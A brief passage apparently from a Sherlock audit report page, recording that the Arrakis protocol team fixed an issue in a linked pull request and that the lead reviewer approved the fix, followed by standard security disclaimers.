sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.